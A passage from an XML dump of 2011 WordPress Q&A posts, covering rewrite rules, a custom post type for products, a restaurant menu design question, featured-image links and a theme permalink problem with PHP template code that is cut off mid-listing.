[reviews/([^/]+)(/[0-9]+)?/?$] =&amp;gt; index.php?reviews=$matches[1]&amp;amp;page=$matches[2]&#xA;    [reviews/[^/]+/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [reviews/[^/]+/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [reviews/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [reviews/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [reviews/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [tutorials/[^/]+/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [tutorials/[^/]+/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [tutorials/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [tutorials/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [tutorials/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [tutorials/([^/]+)/trackback/?$] =&amp;gt; index.php?tutorials=$matches[1]&amp;amp;tb=1&#xA;    [tutorials/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?tutorials=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [tutorials/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?tutorials=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [tutorials/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?tutorials=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [tutorials/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?tutorials=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [tutorials/([^/]+)/entry(/(.*))?/?$] =&amp;gt; index.php?tutorials=$matches[1]&amp;amp;entry=$matches[3]&#xA;    [tutorials/([^/]+)(/[0-9]+)?/?$] =&amp;gt; index.php?tutorials=$matches[1]&amp;amp;page=$matches[2]&#xA;    [tutorials/[^/]+/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [tutorials/[^/]+/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [tutorials/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [tutorials/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [tutorials/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [platform/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?platform=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [platform/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?platform=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [platform/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?platform=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [platform/([^/]+)/?$] =&amp;gt; index.php?platform=$matches[1]&#xA;    [testtax/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?testtax=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [testtax/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?testtax=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [testtax/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?testtax=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [testtax/([^/]+)/?$] =&amp;gt; index.php?testtax=$matches[1]&#xA;    [promotion/[^/]+/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [promotion/[^/]+/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [promotion/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [promotion/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [promotion/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [promotion/([^/]+)/trackback/?$] =&amp;gt; index.php?ps_promotion=$matches[1]&amp;amp;tb=1&#xA;    [promotion/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?ps_promotion=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [promotion/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?ps_promotion=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [promotion/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?ps_promotion=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [promotion/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?ps_promotion=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [promotion/([^/]+)/entry(/(.*))?/?$] =&amp;gt; index.php?ps_promotion=$matches[1]&amp;amp;entry=$matches[3]&#xA;    [promotion/([^/]+)(/[0-9]+)?/?$] =&amp;gt; index.php?ps_promotion=$matches[1]&amp;amp;page=$matches[2]&#xA;    [promotion/[^/]+/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [promotion/[^/]+/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [promotion/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [promotion/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [promotion/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [promotions/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?promotion-categories=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [promotions/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?promotion-categories=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [promotions/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?promotion-categories=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [promotions/([^/]+)/?$] =&amp;gt; index.php?promotion-categories=$matches[1]&#xA;    [(.+)/entry/%entry%/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?%entry%$matches[1]&amp;amp;feed=$matches[2]&#xA;    [(.+)/entry/%entry%/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?%entry%$matches[1]&amp;amp;feed=$matches[2]&#xA;    [(.+)/entry/%entry%/page/?([0-9]{1,})/?$] =&amp;gt; index.php?%entry%$matches[1]&amp;amp;paged=$matches[2]&#xA;    [(.+)/entry/%entry%/?$] =&amp;gt; index.php?%entry%$matches[1]&#xA;    [.*wp-atom.php$] =&amp;gt; index.php?feed=atom&#xA;    [.*wp-rdf.php$] =&amp;gt; index.php?feed=rdf&#xA;    [.*wp-rss.php$] =&amp;gt; index.php?feed=rss&#xA;    [.*wp-rss2.php$] =&amp;gt; index.php?feed=rss2&#xA;    [.*wp-feed.php$] =&amp;gt; index.php?feed=feed&#xA;    [.*wp-commentsrss2.php$] =&amp;gt; index.php?feed=rss2&amp;amp;withcomments=1&#xA;    [feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?&amp;amp;feed=$matches[1]&#xA;    [(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?&amp;amp;feed=$matches[1]&#xA;    [page/?([0-9]{1,})/?$] =&amp;gt; index.php?&amp;amp;paged=$matches[1]&#xA;    [comments/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?&amp;amp;feed=$matches[1]&amp;amp;withcomments=1&#xA;    [comments/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?&amp;amp;feed=$matches[1]&amp;amp;withcomments=1&#xA;    [comments/page/?([0-9]{1,})/?$] =&amp;gt; index.php?&amp;amp;paged=$matches[1]&#xA;    [search/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?s=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [search/(.+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?s=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [search/(.+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?s=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [search/(.+)/?$] =&amp;gt; index.php?s=$matches[1]&#xA;    [author/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?author_name=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [author/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?author_name=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [author/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?author_name=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [author/([^/]+)/?$] =&amp;gt; index.php?author_name=$matches[1]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;feed=$matches[4]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;feed=$matches[4]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;paged=$matches[4]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&#xA;    [([0-9]{4})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;feed=$matches[3]&#xA;    [([0-9]{4})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;feed=$matches[3]&#xA;    [([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;paged=$matches[3]&#xA;    [([0-9]{4})/([0-9]{1,2})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&#xA;    [([0-9]{4})/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [([0-9]{4})/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [([0-9]{4})/page/?([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [([0-9]{4})/?$] =&amp;gt; index.php?year=$matches[1]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/trackback/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;tb=1&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;feed=$matches[5]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;feed=$matches[5]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;paged=$matches[5]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;cpage=$matches[5]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/entry(/(.*))?/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;entry=$matches[6]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)(/[0-9]+)?/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;page=$matches[5]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;cpage=$matches[4]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/entry(/(.*))?/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;entry=$matches[5]&#xA;    [([0-9]{4})/([0-9]{1,2})/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;cpage=$matches[3]&#xA;    [([0-9]{4})/([0-9]{1,2})/entry(/(.*))?/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;entry=$matches[4]&#xA;    [([0-9]{4})/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [([0-9]{4})/entry(/(.*))?/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;entry=$matches[3]&#xA;    [.+?/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [.+?/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [.+?/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [.+?/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [.+?/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [(.+?)/trackback/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;tb=1&#xA;    [(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [(.+?)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [(.+?)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [(.+?)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [(.+?)(/[0-9]+)?/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;page=$matches[2]&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I see Platform and Testtax in there, they don't have as many lines as the rewrites for my custom post types, however from what I can tell it looks like they do have rules that should make this work.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditorDisplayName="" LastEditDate="2011-04-30T02:15:33.077" LastActivityDate="2011-04-30T02:31:47.873" Title="Can't get a custom template taxonomy page to display" Tags="&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;template&gt;&lt;buddypress&gt;&lt;rewrite-rules&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="3" />
  <row Id="15713" PostTypeId="1" CreationDate="2011-04-27T04:02:54.980" Score="2" ViewCount="495" Body="&lt;p&gt;I have a WordPress project that I'm using as a CMS.  &lt;strike&gt;I also have a database with some products in it that I'd like to display on the site (gallery or portfolio maybe?)&lt;/strike&gt; I have a custom post type for Products that I want to be editable in the wordpress admin (along with the rest of the content).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;I know I have to do a custom post type (which I'm reading up on, probably will use Simple Fields plugin) but I'm not seeing a way to pull these values from a database.&lt;/strike&gt;  Products will have ProductName, URL, Category, and Type.  I would want to list and add/edit/delete these in the word press admin side of course. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice will be greatly appreciated.  Thank you all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've created the Custom Post Type for &lt;code&gt;Products&lt;/code&gt;.  Now each &lt;code&gt;Product&lt;/code&gt; can have a &lt;code&gt;Category&lt;/code&gt;, &lt;code&gt;Subcategory&lt;/code&gt;, and &lt;code&gt;Type&lt;/code&gt;, which I'm assuming will also need their own Custom Post Type if they are to be manageable right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The layout for the products will be roughly: &lt;code&gt;ProductName&lt;/code&gt;, &lt;code&gt;Type&lt;/code&gt;, &lt;code&gt;Category&lt;/code&gt;, &lt;code&gt;SubCategory&lt;/code&gt;, &lt;code&gt;Document Name&lt;/code&gt;, &lt;code&gt;Document URL&lt;/code&gt;.  Remember the &lt;code&gt;Category&lt;/code&gt;, &lt;code&gt;SubCategory&lt;/code&gt;, &lt;code&gt;Type&lt;/code&gt; will need to be manageable and editable so I guess they will need to be custom post types as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thinking about this some more, could I use the built-in categories for MY custom post type categories and have the subcategories as children of the main categories? That might be the easier way out on that end.  But how would I map a custom post type of &lt;code&gt;ProductType&lt;/code&gt; to my custom post type of &lt;code&gt;Product&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my product custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /*  CUSTOM POST TYPE AREA FOR PRODUCTS   */&#xA;add_action( 'init', 'create_product_post_type' );&#xA;&#xA;function create_product_post_type() &#xA;{&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Products', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Product', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add New', 'products'),&#xA;        'add_new_item' =&amp;gt; __('Add New Product'),&#xA;        'edit_item' =&amp;gt; __('Edit Product'),&#xA;        'new_item' =&amp;gt; __('New Product'),&#xA;        'view_item' =&amp;gt; __('View Product'),&#xA;        'search_item' =&amp;gt; __('Search Products'),&#xA;        'not_found' =&amp;gt; __('No products found'),&#xA;        'not_found_in_trash' =&amp;gt; __('No products found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; '',&#xA;        'menu_name' =&amp;gt; 'Products'           &#xA;        );&#xA;&#xA;    $args = array(&#xA;        'label' =&amp;gt; __('Products'),&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'can_export' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        '_builtin' =&amp;gt; false,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'menu_icon' =&amp;gt; get_bloginfo('template_url').'/functions/images/product.png',&#xA;        'hierarchial' =&amp;gt; false,&#xA;            //'rewrite' =&amp;gt; array( &quot;slug&quot; =&amp;gt; &quot;events&quot; ),&#xA;        'supports' =&amp;gt; array('title', 'editor', 'author', 'thumbnail', 'excerpt', 'comments' ),&#xA;        'show_in_nav_menus' =&amp;gt; true&#xA;&#xA;        );&#xA;&#xA;        register_post_type( 'tf_events', $args);    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1414" LastEditorUserId="1414" LastEditorDisplayName="" LastEditDate="2011-04-27T20:01:35.763" LastActivityDate="2011-08-23T07:33:44.850" Title="Custom Post Type for displaying products in a database table" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;database&gt;&lt;cms&gt;" AnswerCount="2" CommentCount="11" />
  <row Id="15714" PostTypeId="1" AcceptedAnswerId="15715" CreationDate="2011-04-27T04:55:17.910" Score="3" ViewCount="117" Body="&lt;p&gt;I am turning a restaurants website into a wordpress website to allow for the customer to take over content changes. The restaurant has a menu that has categories like Baskets with different types. For instance under the Basket type there is Fish which has a Title, Description, and Price. So what I want to do is to be able to have the customer create or delete Menu categories and have the ability to create,delete, update menu types. Then the entire menu is shown on one page. You can view the page at &lt;a href=&quot;http://www.tailfinstogo.com/menu.html&quot; rel=&quot;nofollow&quot;&gt;www.tailfinstogo.com/menu.html&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4918" LastEditorUserId="1313" LastEditorDisplayName="" LastEditDate="2011-04-27T13:36:46.023" LastActivityDate="2011-04-27T13:36:46.023" Title="Custom post type or just use custom fields" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;database&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="15715" PostTypeId="2" ParentId="15714" CreationDate="2011-04-27T05:18:41.963" Score="2" ViewCount="" Body="&lt;p&gt;You can really do it either way. I would personally make a custom post type of &quot;Menu Item&quot; then use a custom taxonomy for type of food (e.g., 'Baskets', 'Poboys', 'Soups', etc.). I would then have a custom fields for sizes and price so you could enter something like '4pc' and '10pc' and '7.99'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of things I've learned with doing WP sites for clients is that training for the client is often overlooked. Just because you do a great job designing and developing the site does not mean the client will know how to use it. I would recommend taking the time to train your client how to use the site after you implement whatever solution you decide on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-04-27T05:18:41.963" CommentCount="1" />
  <row Id="15716" PostTypeId="2" ParentId="15708" CreationDate="2011-04-27T06:01:12.493" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;get_the_post_thumbnail()&lt;/a&gt; function for getting the featured image. This will return the img string for you, instead of echoing it immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, add a &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;Custom Field&lt;/a&gt; to the post, named, for example &lt;code&gt;URL-for-featured-image&lt;/code&gt;, and add the URL you want the image to link to as the value. Get it's contents with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom_values&quot; rel=&quot;nofollow&quot;&gt;get_post_custom_values('URL-for-featured-image')&lt;/a&gt;  and use the result in the hyperlink's href.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  if(has_post_thumbnail() &amp;amp;&amp;amp; get_option('theme_show_featured_image'))&#xA;  {&#xA;    $img = get_the_post_thumbnail($post-&amp;gt;ID, 'large'); &#xA;    $url = get_post_custom_values('URL-for-featured-image');&#xA;    /* your code here */&#xA;&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4209" LastEditorUserId="4209" LastEditorDisplayName="" LastEditDate="2011-04-27T06:07:02.767" LastActivityDate="2011-04-27T06:07:02.767" CommentCount="1" />
  <row Id="15717" PostTypeId="1" CreationDate="2011-04-27T06:45:42.170" Score="0" ViewCount="151" Body="&lt;p&gt;I have this Theme where on the home page it displays posts from different categories in separate columns... but the problem is that my site uses permalink /index.php/ before everything but my theme doesnt include it...&#xA;EG When it should have been &lt;br&gt;&#xA;&lt;strong&gt;http://test.techgoggles.in/index.php/category/category1/&lt;/strong&gt;&lt;br&gt;&#xA;it takes it as &lt;br&gt;&#xA;&lt;strong&gt;http://test.techgoggles.in/category/category1/&lt;/strong&gt;&lt;br&gt;&#xA;Now What I know is that its because of the index2.php file but how do i edit it to fix the error. Please look at the code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php global $options; foreach ($options as $value) { if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_settings( $value['id'] ); } } ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;contentleft&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php include (TEMPLATEPATH . '/banner468.php'); ?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;content-home-top&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;content-col1&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;?php include (TEMPLATEPATH . '/features.php'); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ( $wp_chatter_cat_box_1 ) { ?&amp;gt;&#xA;                    &amp;lt;ul class=&quot;home&quot;&amp;gt;&#xA;                        &amp;lt;li class=&quot;title&quot;&amp;gt;&amp;lt;h2 class=&quot;home-title&quot;&amp;gt;&amp;lt;?php echo $wp_chatter_cat_box_1_title; ?&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;?php query_posts('category_name=' .$wp_chatter_cat_box_1. '&amp;amp;showposts=' .$wp_chatter_num_home_posts_by_cat. ''); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); &#xA;$do_not_duplicate[$post-&amp;gt;ID] = $post-&amp;gt;ID; ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;homepost maincontent&quot; id=&quot;post-1-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                            